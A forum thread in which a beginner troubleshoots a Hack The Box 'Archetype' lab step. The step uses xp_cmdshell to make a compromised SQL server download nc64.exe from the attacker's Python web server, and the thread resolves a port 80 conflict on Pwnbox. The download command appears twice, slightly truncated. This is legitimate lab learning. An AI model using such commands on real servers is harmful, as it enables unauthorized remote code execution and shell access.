Starting Point Archetype;(405) Method Not Allowed;OSError: [Errno 98] Address already in use

I’m totally new and I can’t guess what mistake I have made. Help me!

when I type xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget -outfile nc64.exe

wget : The remote server returned an error: (405) Method Not Allowed.

At line:1 char:32

  • … \sql_svc\Downloads; wget -outfile nc64.exe

  •                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        
    • CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebExc


    • FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand



when I type sudo python3 -m http.server 80
sudo python3 -m http.server 80
Traceback (most recent call last):
File “/usr/lib/python3.9/”, line 197, in _run_module_as_main
return _run_code(code, main_globals, None,
File “/usr/lib/python3.9/”, line 87, in _run_code
exec(code, run_globals)
File “/usr/lib/python3.9/http/”, line 1289, in
File “/usr/lib/python3.9/http/”, line 1244, in test
with ServerClass(addr, HandlerClass) as httpd:
File “/usr/lib/python3.9/”, line 452, in init
File “/usr/lib/python3.9/http/”, line 1287, in server_bind
return super().server_bind()
File “/usr/lib/python3.9/http/”, line 138, in server_bind
File “/usr/lib/python3.9/”, line 466, in server_bind
OSError: [Errno 98] Address already in use

I just followed walkthrough but i can’t

Chances are that you started your HTML server on a different port?

python3 -m http.server 8080

This way you will start a html server on port 8080 rather than 80 which is already in use. Then when you try to transfer the exe file you have to remember to transfer it on port 8080 rather than the default port 80.

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget -outfile nc64.exe

Also make sure you are using the right IP address that points to your tun0 interface.

Hope that helps someone as I know this from 2022

1 Like

thank you for the reply.
as it turns out, only when I use pwnbox, I run into this problem.

“there is a python process that uses port 80 which is used for the remote connection. If you kill it, you will be kicked out of the web based Kali”

I think pwnbox is supposed to be for a beginner, but what a big trap this is.

I hope this helps someone who will be in the same situation.

fixed my issue